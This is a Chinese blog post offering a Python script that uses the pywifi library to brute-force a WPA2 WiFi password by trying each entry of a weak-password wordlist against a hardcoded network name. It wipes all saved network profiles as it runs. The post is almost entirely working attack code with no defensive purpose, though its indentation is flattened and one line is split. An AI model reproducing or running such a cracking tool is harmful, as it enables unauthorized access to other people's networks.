• 字典跑WIFI密码


    import pywifi
    from pywifi import const
    import sys
    import time
    from asyncio.tasks import sleep


    class PoJie():
    def __init__(self, path):
    # self.file = open(path, "r", errors="ignore")
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    self.iface = wifi.interfaces()[0] # 抓取第一个无限网卡
    self.iface.disconnect() # 测试链接断开所有链
    self.file = open(path, 'r')
    time.sleep(1)

    #
    assert self.iface.status() in [pywifi.const.IFACE_DISCONNECTED, pywifi.const.IFACE_INACTIVE]

    def readPassWord(self):
    print("Start:")
    while True:

    try:
    myStr = self.file.readline()
    if not myStr:
    break
    bool1 = self.test_connect(myStr)
    if bool1:
    print("密码正确:", myStr)
    break
    else:
    print("密码错误:" + myStr)
    time.sleep(3)
    except:
    continue

    def test_connect(self, findStr): # 测试链接

    profile = pywifi.Profile() # 创建wifi链接文件
    # ==================修改部分1======================
    profile.ssid = "CMCC-fqFP" # wifi名称
    # =================================================
    profile.auth = const.AUTH_ALG_OPEN # 网卡的开放,
    profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
    profile.key = findStr # 密码

    self.iface.remove_all_network_profiles() # 删除所有的wifi文件
    tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
    self.iface.connect(tmp_profile) # 链接
    time.sleep(5)
    if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
    isOK = True
    else:
    isOK = False
    self.iface.disconnect() # 断开
    time.sleep(1)
    # 检查断开状态
    assert self.iface.status() in
    [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    return isOK

    # 消除进程自动关闭文件句柄
    def __del__(self):
    self.file.close()


    # =========================修改部分2==========================================
    path = "./弱口令.txt"
    # ============================================================================
    start = PoJie(path)
    start.readPassWord()
  • 相关阅读:
    oracle 复制表结构 复制表数据 sql 语句
    Linux rsync实现断点续传
    qt实现一个简单的计算器
    python脚本0b文件处理
    同步和互斥
    python中的randint,引入模块
    python中常见的三种句型if,while,for
    python中的变量,运算符
    python安装与使用
    常见dos命令总结
  • 原文地址:https://www.cnblogs.com/cou1d/p/13782554.html
Copyright © 2020-2023  润新知